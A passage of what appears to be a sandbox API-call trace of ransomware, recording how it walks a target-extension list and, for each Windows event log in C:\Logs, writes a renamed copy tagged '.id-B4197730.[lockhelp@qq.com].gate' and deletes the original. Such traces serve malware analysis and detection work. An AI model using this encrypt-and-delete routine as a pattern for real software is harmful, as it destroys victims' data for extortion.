(lpString1=".1cd", lpString2="evtx") returned -1 [0276.243] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx") returned 59 [0276.243] lstrlenW (lpString=".jpg") returned 4 [0276.244] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0276.244] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx") returned 59 [0276.244] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx") returned 59 [0276.244] lstrlenW (lpString=".doc") returned 4 [0276.244] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0276.244] lstrlenW (lpString=".docx") returned 5 [0276.244] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0276.244] lstrlenW (lpString=".pdf") returned 4 [0276.244] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0276.244] lstrlenW (lpString=".xls") returned 4 [0276.244] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0276.244] lstrlenW (lpString=".xlsx") returned 5 [0276.244] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0276.244] lstrlenW (lpString=".ppt") returned 4 [0276.244] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0276.244] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx") returned 59 [0276.244] lstrlenW (lpString=".zip") returned 4 [0276.244] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0276.244] lstrlenW (lpString=".rar") returned 4 [0276.244] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0276.244] lstrlenW (lpString=".bz2") returned 4 [0276.244] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0276.244] lstrlenW (lpString=".7z") returned 3 [0276.244] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0276.244] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx") returned 59 [0276.244] lstrlenW (lpString=".dbf") returned 4 [0276.244] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0276.244] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx") returned 59 [0276.244] lstrlenW (lpString=".1cd") returned 4 [0276.244] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0276.244] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx") returned 59 [0276.244] lstrlenW (lpString=".jpg") returned 4 [0276.244] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0276.245] lstrcmpiW (lpString1=".evtx", lpString2=".gate") returned -1 [0276.245] lstrlenW (lpString="Microsoft-Windows-LiveId%4Operational.evtx") returned 42 [0276.245] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-liveid%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0276.245] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x3b3ff14 | out: lpFileSize=0x3b3ff14*=69632) returned 1 [0276.245] CloseHandle (hObject=0x390) returned 1 [0276.245] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-liveid%4operational.evtx")) returned 0x20 [0276.245] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\logs\\microsoft-windows-liveid%4operational.evtx.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0276.245] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-liveid%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0276.245] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b3fec0 | out: lpNewFilePointer=0x0) returned 1 [0276.245] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b3fec0 | out: lpNewFilePointer=0x0) returned 1 [0276.245] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\logs\\microsoft-windows-liveid%4operational.evtx.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3cc [0276.303] GetLastError () returned 0x0 [0276.303] ReadFile (in: hFile=0x390, lpBuffer=0x46fd020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3b3fecc, lpOverlapped=0x0 | out: lpBuffer=0x46fd020*, lpNumberOfBytesRead=0x3b3fecc*=0x11000, lpOverlapped=0x0) returned 1 [0276.451] WriteFile (in: hFile=0x3cc, lpBuffer=0x46fd020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x3b3fc94, lpOverlapped=0x0 | out: lpBuffer=0x46fd020*, lpNumberOfBytesWritten=0x3b3fc94*=0x11010, lpOverlapped=0x0) returned 1 [0276.453] ReadFile (in: hFile=0x390, lpBuffer=0x46fd020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3b3fecc, lpOverlapped=0x0 | out: lpBuffer=0x46fd020*, lpNumberOfBytesRead=0x3b3fecc*=0x0, lpOverlapped=0x0) returned 1 [0276.453] WriteFile (in: hFile=0x3cc, lpBuffer=0x46fd020*, nNumberOfBytesToWrite=0x128, lpNumberOfBytesWritten=0x3b3fc94, lpOverlapped=0x0 | out: lpBuffer=0x46fd020*, lpNumberOfBytesWritten=0x3b3fc94*=0x128, lpOverlapped=0x0) returned 1 [0276.453] SetEndOfFile (hFile=0x3cc) returned 1 [0276.456] CloseHandle (hObject=0x3cc) returned 1 [0276.457] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b3fec0 | out: lpNewFilePointer=0x0) returned 1 [0276.457] SetEndOfFile (hFile=0x390) returned 1 [0276.458] CloseHandle (hObject=0x390) returned 1 [0276.458] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x20) returned 1 [0276.458] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-liveid%4operational.evtx")) returned 1 [0276.459] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx") returned 50 [0276.459] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx") returned 50 [0276.459] lstrlenW (lpString=".doc") returned 4 [0276.459] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0276.459] lstrlenW (lpString=".docx") returned 5 [0276.459] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0276.459] lstrlenW (lpString=".pdf") returned 4 [0276.459] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0276.459] lstrlenW (lpString=".xls") returned 4 [0276.459] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0276.459] lstrlenW (lpString=".xlsx") returned 5 [0276.459] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0276.459] lstrlenW (lpString=".ppt") returned 4 [0276.459] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0276.459] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx") returned 50 [0276.459] lstrlenW (lpString=".zip") returned 4 [0276.459] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0276.459] lstrlenW (lpString=".rar") returned 4 [0276.459] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0276.459] lstrlenW (lpString=".bz2") returned 4 [0276.459] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0276.459] lstrlenW (lpString=".7z") returned 3 [0276.459] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0276.459] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx") returned 50 [0276.459] lstrlenW (lpString=".dbf") returned 4 [0276.459] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0276.459] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx") returned 50 [0276.459] lstrlenW (lpString=".1cd") returned 4 [0276.459] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0276.459] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx") returned 50 [0276.460] lstrlenW (lpString=".jpg") returned 4 [0276.460] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0276.460] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx") returned 50 [0276.460] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx") returned 50 [0276.460] lstrlenW (lpString=".doc") returned 4 [0276.460] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0276.460] lstrlenW (lpString=".docx") returned 5 [0276.460] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0276.460] lstrlenW (lpString=".pdf") returned 4 [0276.460] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0276.460] lstrlenW (lpString=".xls") returned 4 [0276.460] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0276.460] lstrlenW (lpString=".xlsx") returned 5 [0276.460] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0276.460] lstrlenW (lpString=".ppt") returned 4 [0276.460] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0276.460] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx") returned 50 [0276.460] lstrlenW (lpString=".zip") returned 4 [0276.460] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0276.460] lstrlenW (lpString=".rar") returned 4 [0276.460] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0276.460] lstrlenW (lpString=".bz2") returned 4 [0276.460] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0276.460] lstrlenW (lpString=".7z") returned 3 [0276.460] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0276.460] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx") returned 50 [0276.460] lstrlenW (lpString=".dbf") returned 4 [0276.460] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0276.460] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx") returned 50 [0276.460] lstrlenW (lpString=".1cd") returned 4 [0276.460] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0276.460] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx") returned 50 [0276.460] lstrlenW (lpString=".jpg") returned 4 [0276.460] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0276.461] lstrcmpiW (lpString1=".evtx", lpString2=".gate") returned -1 [0276.461] lstrlenW (lpString="Microsoft-Windows-NetworkProfile%4Operational.evtx") returned 50 [0276.461] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-networkprofile%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0276.461] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x3b3ff14 | out: lpFileSize=0x3b3ff14*=69632) returned 1 [0276.461] CloseHandle (hObject=0x390) returned 1 [0276.461] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-networkprofile%4operational.evtx")) returned 0x20 [0276.462] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\logs\\microsoft-windows-networkprofile%4operational.evtx.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0276.462] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-networkprofile%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0276.462] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b3fec0 | out: lpNewFilePointer=0x0) returned 1 [0276.462] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b3fec0 | out: lpNewFilePointer=0x0) returned 1 [0276.462] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\logs\\microsoft-windows-networkprofile%4operational.evtx.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3cc [0276.462] GetLastError () returned 0x0 [0276.462] ReadFile (in: hFile=0x390, lpBuffer=0x46fd020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3b3fecc, lpOverlapped=0x0 | out: lpBuffer=0x46fd020*, lpNumberOfBytesRead=0x3b3fecc*=0x11000, lpOverlapped=0x0) returned 1 [0276.529] WriteFile (in: hFile=0x3cc, lpBuffer=0x46fd020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x3b3fc94, lpOverlapped=0x0 | out: lpBuffer=0x46fd020*, lpNumberOfBytesWritten=0x3b3fc94*=0x11010, lpOverlapped=0x0) returned 1 [0276.531] ReadFile (in: hFile=0x390, lpBuffer=0x46fd020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3b3fecc, lpOverlapped=0x0 | out: lpBuffer=0x46fd020*, lpNumberOfBytesRead=0x3b3fecc*=0x0, lpOverlapped=0x0) returned 1 [0276.531] WriteFile (in: hFile=0x3cc, lpBuffer=0x46fd020*, nNumberOfBytesToWrite=0x138, lpNumberOfBytesWritten=0x3b3fc94, lpOverlapped=0x0 | out: lpBuffer=0x46fd020*, lpNumberOfBytesWritten=0x3b3fc94*=0x138, lpOverlapped=0x0) returned 1 [0276.531] SetEndOfFile (hFile=0x3cc) returned 1 [0276.531] CloseHandle (hObject=0x3cc) returned 1 [0276.533] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b3fec0 | out: lpNewFilePointer=0x0) returned 1 [0276.533] SetEndOfFile (hFile=0x390) returned 1 [0276.534] CloseHandle (hObject=0x390) returned 1 [0276.534] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x20) returned 1 [0276.534] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-networkprofile%4operational.evtx")) returned 1 [0276.534] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx") returned 58 [0276.534] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx") returned 58 [0276.534] lstrlenW (lpString=".doc") returned 4 [0276.534] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0276.534] lstrlenW (lpString=".docx") returned 5 [0276.534] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0276.534] lstrlenW (lpString=".pdf") returned 4 [0276.534] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0276.534] lstrlenW (lpString=".xls") returned 4 [0276.534] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0276.535] lstrlenW (lpString=".xlsx") returned 5 [0276.535] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0276.535] lstrlenW (lpString=".ppt") returned 4 [0276.535] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0276.535] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx") returned 58 [0276.535] lstrlenW (lpString=".zip") returned 4 [0276.535] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0276.535] lstrlenW (lpString=".rar") returned 4 [0276.535] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0276.535] lstrlenW (lpString=".bz2") returned 4 [0276.535] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0276.535] lstrlenW (lpString=".7z") returned 3 [0276.535] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0276.535] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx") returned 58 [0276.535] lstrlenW (lpString=".dbf") returned 4 [0276.535] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0276.535] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx") returned 58 [0276.535] lstrlenW (lpString=".1cd") returned 4 [0276.535] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0276.535] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx") returned 58 [0276.535] lstrlenW (lpString=".jpg") returned 4 [0276.535] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0276.535] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx") returned 58 [0276.535] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx") returned 58 [0276.535] lstrlenW (lpString=".doc") returned 4 [0276.535] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0276.535] lstrlenW (lpString=".docx") returned 5 [0276.535] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0276.535] lstrlenW (lpString=".pdf") returned 4 [0276.535] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0276.535] lstrlenW (lpString=".xls") returned 4 [0276.535] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0276.535] lstrlenW (lpString=".xlsx") returned 5 [0276.536] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0276.536] lstrlenW (lpString=".ppt") returned 4 [0276.536] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0276.536] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx") returned 58 [0276.536] lstrlenW (lpString=".zip") returned 4 [0276.536] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0276.536] lstrlenW (lpString=".rar") returned 4 [0276.536] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0276.536] lstrlenW (lpString=".bz2") returned 4 [0276.536] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0276.536] lstrlenW (lpString=".7z") returned 3 [0276.536] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0276.536] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx") returned 58 [0276.536] lstrlenW (lpString=".dbf") returned 4 [0276.536] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0276.536] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx") returned 58 [0276.536] lstrlenW (lpString=".1cd") returned 4 [0276.536] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0276.536] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx") returned 58 [0276.536] lstrlenW (lpString=".jpg") returned 4 [0276.536] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0276.536] lstrcmpiW (lpString1=".evtx", lpString2=".gate") returned -1 [0276.536] lstrlenW (lpString="Microsoft-Windows-Ntfs%4WHC.evtx") returned 32 [0276.536] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx" (normalized: "c:\\logs\\microsoft-windows-ntfs%4whc.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0276.537] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x3b3ff14 | out: lpFileSize=0x3b3ff14*=69632) returned 1 [0276.537] CloseHandle (hObject=0x390) returned 1 [0276.537] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx" (normalized: "c:\\logs\\microsoft-windows-ntfs%4whc.evtx")) returned 0x20 [0276.537] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\logs\\microsoft-windows-ntfs%4whc.evtx.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0276.537] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx" (normalized: "c:\\logs\\microsoft-windows-ntfs%4whc.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0276.537] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b3fec0 | out: lpNewFilePointer=0x0) returned 1 [0276.537] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b3fec0 | out: lpNewFilePointer=0x0) returned 1 [0276.537] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\logs\\microsoft-windows-ntfs%4whc.evtx.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3cc [0276.541] GetLastError () returned 0x0 [0276.541] ReadFile (in: hFile=0x390, lpBuffer=0x46fd020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3b3fecc, lpOverlapped=0x0 | out: lpBuffer=0x46fd020*, lpNumberOfBytesRead=0x3b3fecc*=0x11000, lpOverlapped=0x0) returned 1 [0276.591] WriteFile (in: hFile=0x3cc, lpBuffer=0x46fd020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x3b3fc94, lpOverlapped=0x0 | out: lpBuffer=0x46fd020*, lpNumberOfBytesWritten=0x3b3fc94*=0x11010, lpOverlapped=0x0) returned 1 [0276.597] ReadFile (in: hFile=0x390, lpBuffer=0x46fd020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3b3fecc, lpOverlapped=0x0 | out: lpBuffer=0x46fd020*, lpNumberOfBytesRead=0x3b3fecc*=0x0, lpOverlapped=0x0) returned 1 [0276.597] WriteFile (in: hFile=0x3cc, lpBuffer=0x46fd020*, nNumberOfBytesToWrite=0x114, lpNumberOfBytesWritten=0x3b3fc94, lpOverlapped=0x0 | out: lpBuffer=0x46fd020*, lpNumberOfBytesWritten=0x3b3fc94*=0x114, lpOverlapped=0x0) returned 1 [0276.597] SetEndOfFile (hFile=0x3cc) returned 1 [0276.597] CloseHandle (hObject=0x3cc) returned 1 [0276.599] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b3fec0 | out: lpNewFilePointer=0x0) returned 1 [0276.599] SetEndOfFile (hFile=0x390) returned 1 [0276.600] CloseHandle (hObject=0x390) returned 1 [0276.600] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x20) returned 1 [0276.601] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx" (normalized: "c:\\logs\\microsoft-windows-ntfs%4whc.evtx")) returned 1 [0276.601] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx") returned 40 [0276.601] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx") returned 40 [0276.601] lstrlenW (lpString=".doc") returned 4 [0276.601] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0276.601] lstrlenW (lpString=".docx") returned 5 [0276.601] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0276.601] lstrlenW (lpString=".pdf") returned 4 [0276.601] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0276.601] lstrlenW (lpString=".xls") returned 4 [0276.601] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0276.601] lstrlenW (lpString=".xlsx") returned 5 [0276.601] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0276.601] lstrlenW (lpString=".ppt") returned 4 [0276.601] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0276.601] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx") returned 40 [0276.601] lstrlenW (lpString=".zip") returned 4 [0276.601] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0276.601] lstrlenW (lpString=".rar") returned 4 [0276.601] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0276.602] lstrlenW (lpString=".bz2") returned 4 [0276.602] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0276.602] lstrlenW (lpString=".7z") returned 3 [0276.602] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0276.602] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx") returned 40 [0276.602] lstrlenW (lpString=".dbf") returned 4 [0276.602] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0276.602] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx") returned 40 [0276.602] lstrlenW (lpString=".1cd") returned 4 [0276.602] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0276.602] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx") returned 40 [0276.602] lstrlenW (lpString=".jpg") returned 4 [0276.602] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0276.602] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx") returned 40 [0276.602] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx") returned 40 [0276.602] lstrlenW (lpString=".doc") returned 4 [0276.602] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0276.602] lstrlenW (lpString=".docx") returned 5 [0276.602] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0276.602] lstrlenW (lpString=".pdf") returned 4 [0276.602] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0276.602] lstrlenW (lpString=".xls") returned 4 [0276.602] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0276.602] lstrlenW (lpString=".xlsx") returned 5 [0276.602] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0276.602] lstrlenW (lpString=".ppt") returned 4 [0276.602] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0276.602] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx") returned 40 [0276.602] lstrlenW (lpString=".zip") returned 4 [0276.603] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0276.603] lstrlenW (lpString=".rar") returned 4 [0276.603] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0276.603] lstrlenW (lpString=".bz2") returned 4 [0276.603] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0276.603] lstrlenW (lpString=".7z") returned 3 [0276.603] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0276.603] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx") returned 40 [0276.603] lstrlenW (lpString=".dbf") returned 4 [0276.603] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0276.603] lstrlenW 